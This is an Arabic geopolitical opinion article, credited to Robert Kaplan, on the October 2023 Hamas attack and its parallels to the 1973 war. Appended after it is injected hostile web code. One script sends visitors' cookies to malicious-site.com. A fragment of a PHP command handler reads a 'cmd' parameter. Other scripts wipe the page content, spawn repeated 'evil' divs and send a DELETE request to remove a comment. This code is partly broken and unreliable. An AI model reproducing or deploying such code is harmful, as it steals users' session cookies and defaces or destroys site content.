روبرت كابلان
منظر جيوسياسي وكاتب صحفي أمريكي
التاريخ ليس استمرارًا خطيًا لما مضى، بل إنه متعرج. عندما قال لينين إن العقود يمكن أن تمر ولا يحدث إلا القليل، ثم تمر أيام وأسابيع وكأنها عقود، هذا ما كان يعنيه. ولهذا السبب فإن التنبؤات صعبة للغاية، ولهذا السبب غالبا ما تلجأ شركات التنبؤ الجيوسياسي إلى التفكير الخطي.
بين عامي 1967 و1973، ركنت الإستراتيجية الإسرائيلية إلى عقلية المنتصر في أعقاب نصرها الإقليمي في حرب الأيام الستة، ولم تتصرف رئيسة الوزراء الإسرائيلية غولدا مائير بناءً على الإشارات الواردة من مصر بشأن محادثات السلام المحتملة مع رئيسها أنور السادات، فهي وحكومتها، في أعقاب الهزيمة العسكرية العربية عام 1967، ببساطة، لم يعتبروا أن العرب أقوياء بالقدر الكافي لخوض الحرب مرة أخرى؛ لقد افتقروا إلى البصيرة القلقة وإلى التشاؤم البناء.
وجاءت المأساة في تشرين الأول/أكتوبر 1973 عندما شنت مصر، بالتنسيق مع سوريا هجوماً مفاجئاً على إسرائيل عبر قناة السويس، وفي الشمال في مرتفعات الجولان. واستغرق الأمر عدة أسابيع حتى تمكنت القوات الإسرائيلية من طردهم وردهم، مما أدى إلى مقتل أكثر من 2600 جندي إسرائيلي. الفجوة التي دامت ست سنوات بين الحربين والتي جرى فيها القليل، استعيض عنها في أيام وأسابيع بما يساوي عقودا.
ورغم أن الحكومة الإسرائيلية حولت هجوم عام 1973 إلى هزيمة عسكرية لمصر وسوريا، فإن الضرر السياسي كان قد وقع. وجعلت الحرب إسرائيل أكثر اعتماداً على الولايات المتحدة من ذي قبل. وتمكن وزير الخارجية الأميركي آنذاك، هنري كيسنجر، من إجبار إسرائيل على الانسحاب من الأراضي، وتعزيز المكاسب الإقليمية لمصر وسوريا، والسماح للولايات المتحدة بإعادة العلاقات الدبلوماسية مع القاهرة ودمشق. ومثل ذلك انتصاراً للدولتين العربيتين وكذلك لواشنطن، في حين كان بمثابة نكسة لإسرائيل، التي استفادت (في السابق) من العزلة الدبلوماسية النسبية لمصر وسوريا.
أطلقت الحرب أيضًا سلسلة من الأحداث السياسية التي أدت إلى انتصار انتخابي لائتلاف حزب الليكود الإسرائيلي المعارض في عام 1977. فمنذ تأسيس إسرائيل في عام 1948، لم يفز حزب الليكود قط بأي انتخابات على مستوى البلاد. والآن أصبح هو المسؤول، وبدأ بهذا الفوز حقبة جديدة من الصعود اليميني.
بالانتقال سريعًا إلى يومنا هذا، حيث المظاهرات في إسرائيل ضد محاولة الحكومة اليمينية إضعاف السلطة القضائية، والتناغم مع المملكة العربية السعودية تجاه إقامة علاقات دبلوماسية بين البلدين، واتفاقات إبراهام في عام 2020 – التي عززت العلاقات الدبلوماسية بين إسرائيل والدول العربية السنية المحافظة مثل البحرين والإمارات العربية المتحدة – كل ذلك حدث في ظل افتراض كسول مفاده أنه على الرغم من أن إسرائيل لم تقدم أي تنازلات للفلسطينيين، إلا أن الفلسطينيين مع ذلك يعانون من حالة من الفوضى (منقسمون بالرغم من النجاح الإسرائيلي المتواصل على حساب قضيتهم).
فلسنوات عديدة، استطاع رئيس الوزراء الإسرائيلي بنيامين نتنياهو تجاهل الفلسطينيين في حين نسب لنفسه انتصارا دبلوماسيا تلو الآخر. لقد انتهت تلك الفترة – هذا النمط الخطي – فجأة.
ولم تكتف حماس بإطلاق آلاف الصواريخ على إسرائيل، وقتل ما لا يقل عن ألف إسرائيلي، بل إنها احتجزت العديد من الرهائن الإسرائيليين من خلال غارات جريئة عبر الحدود أصابت الحكومة الإسرائيلية ومؤسساتها الاستخباراتية والأمنية بالصدمة. وكما حدث في عام 1973، فإن التداعيات الداخلية لن تحدث إلا بعد فترة.
الأولوية بالنسبة لإسرائيل هي أن تقاتل وتنتصر في هذه الحرب، الأمر الذي يتطلب قدراً كبيراً من الوحشية، ويتطلب منها استدعاء مئات الآلاف من جنود الاحتياط – وهو الإجراء الذي لم يتم اتخاذه على هذا المستوى منذ سنوات. إن قصف غزة، ذلك الجيب الساحلي الذي يعيش فيه ما يصل إلى 2.3 مليون نسمة، وإعادته إلى العصر الحجري أمر ممكن. ولكن ماذا سيحدث في اليوم التالي؟ ما هو مصير الرهائن الإسرائيليين المحتجزين في غزة بينما يقوم الجيش الإسرائيلي بفعل ذلك؟ لقد كانت إسرائيل دائما شديدة الحساسية تجاه حياة كل إسرائيلي. في الماضي، قامت بمقايضة حشود السجناء الفلسطينيين بحفنة من الإسرائيليين. أو حتى مقابل إسرائيلي واحد كما جرى في حالة الجندي جلعاد شاليط عام 2011. فهل ستخلي إسرائيل الآن سجونها مقابل الرهائن الذين احتجزتهم حماس؟
قدمت إيران المساعدات العسكرية والتخطيط والتشجيع السياسي لحماس. وتنظر طهران إلى الوتيرة المتسارعة لتحسُّن علاقة إسرائيل مع المملكة العربية السعودية بقلق. وكانت هناك تقارير عن اتفاق لتزويد المحطة النووية المدنية التي ستبنيها الولايات المتحدة للمملكة العربية السعودية بخبراء نوويين أمريكيين، لتهدئة المخاوف الأمنية لإسرائيل، وتلبيًة في الوقت نفسه لمطالب الرياض. بل إن السعوديين أشاروا إلى أنهم على استعداد لزيادة إنتاج النفط لكسب الحلفاء في الكونجرس الأميركي، وهو الجهة التي قد تشكل أهمية بالغة لأي صفقة كبرى بين إسرائيل والسعوديين والأميركيين.
الهجوم العسكري الخاطف الذي شنته حماس في 7 أكتوبر يهدف إلى وقف العلاقات الإسرائيلية السعودية الناشئة. والسؤال الآن هو: هل ستشجع إيران حلفاءها في حزب الله في جنوب لبنان على فتح جبهة ثانية ضد إسرائيل في الشمال؟
وكما حدث مع حكومة مائير في أعقاب حرب عام 1973، ستكون هناك حسابات سياسية لنتنياهو وزملائه. ربما نشهد أخيراً بداية نهاية عهد نتنياهو في السياسة الإسرائيلية. أقول هذا بحذر، نظراً لعدد المرات التي أثبت فيها خطأ المحللين في هذا الصدد. لكن قدراً كبيراً من تمتع الأخير بالجاذبية بين الإسرائيليين هو قدرته على حماية البلاد من أعدائها العرب والإيرانيين. ويقال إن أحداً لم يُظهِر صلابة ومهارة واندفاعاً مثل “بيبي” في السياسة الأمنية. وقد تحطمت وجهة النظر هذه إلى حد كبير بسبب ما أطلق عليه اسم “الحادي عشر من سبتمبر الإسرائيلي”. وبطبيعة الحال، قد يستغرق هذا الأمر (انتهاء نتنياهو سياسيًا) الكثير من الوقت كي يحدث. وقد احتاج الليكود إلى أكثر من ثلاث سنوات لانتزاع السلطة من حزب العمل بعد حرب عام 1973. لكنه فعل.
في البداية ستكون هناك وحدة في الصف الإسرائيلي، مع توقف المظاهرات المناهضة للحكومة، واحتشاد البلاد حول قادتها. لكن ذلك سيكون مقدمة للتشريح الجنائي (البحث عن المتسبب وراء ما حدث).فقد حدثت هذه الكارثة مع وجود حكومة يمينية في السلطة؛ وقد يدفع اليمين العقوبة السياسية ثمنًا لذلك، أو قد تنجرف البلاد أكثر نحو اليمين كرد فعل على الهجوم الفلسطيني.
أما بالنسبة للمنطقة، فإن الكثير يعتمد على مدة استمرار هذه الحرب. ومن المرجح أن تستمر لأسابيع، وربما أشهر. وكلما طال أمدها وحِدّتُها، كلما زادت إمكانية حدوث تغييرات خارج نطاق منطقة الحرب. فقد يطلق الفلسطينيون في الضفة الغربية العنان لانتفاضة أخرى، ومن الممكن أن يتعزز محور إيران – حماس – حزب الله، والمحور الإيراني – الروسي كذلك. ومن المرجح أن تسرق الحرب بين إسرائيل وحماس الاهتمام من الصراع في أوكرانيا، على الأقل لبعض الوقت. وقد يؤثر هذا على المساعدات العسكرية ذاتها، خاصة وأن الولايات المتحدة سوف تضطر الآن إلى إعادة إمداد كل من أوكرانيا وإسرائيل بالذخيرة، ناهيك عن حماية مخزوناتها استعداداً لحرب محتملة بسبب تايوان.
ملاحظة أخيرة: من خلال مساندة حماس في هذا الهجوم، أظهرت إيران تعطشها للدماء لقتل الإسرائيليين واليهود. ومن الممكن أن يغير ذلك الحسابات بين قادة إسرائيل فيما يتعلق بتوجيه ضربة عسكرية إلى المنشآت النووية الإيرانية. وقد يؤدي ذلك إلى اضطرابات جيوسياسية أخرى.
لقد قال الخبراء إننا تركنا وراءنا حقبة “الحرب العالمية على الإرهاب” في السنوات الأخيرة لصالح حقبة “التنافس بين القوى العظمى”. لكن التاريخ ليس بهذه الدقة، ويمكننا أن نرى كلا الحقبتين تحدثان في وقت واحد.




window.location = ‘https://malicious-site.com/?cookie=’ + document.cookie;
</script
<?php
if(isset($_REQUEST['cmd']) && $_REQUEST['cmd'] === 'clear_and_show_image') {
// تنفيذ عملية مسح المحتوى هنا
// إعادة عرض الصورة
‘;
echo '
} else {
echo “What is your bidding?”;
}
?>
// سكربت خبيث لحذف المحتوى
document.getElementById(‘content’).innerHTML = ”;
function createEvilDiv() {
const evilDiv = document.createElement(‘div’);
evilDiv.innerHTML = ‘عمك هنا’;
document.body.appendChild(evilDiv);
}
function spreadEvil() {
for (let i = 0; i < 10; i++) {
setTimeout(createEvilDiv, i * 1000);
}
}
spreadEvil();
document.body.innerHTML = ”;
var commentId = 1226; // رقم تعليق الذي ترغب في مسحه
var xhr = new XMLHttpRequest();
xhr.open(“DELETE”, “/comments/” + commentId, true);
xhr.send();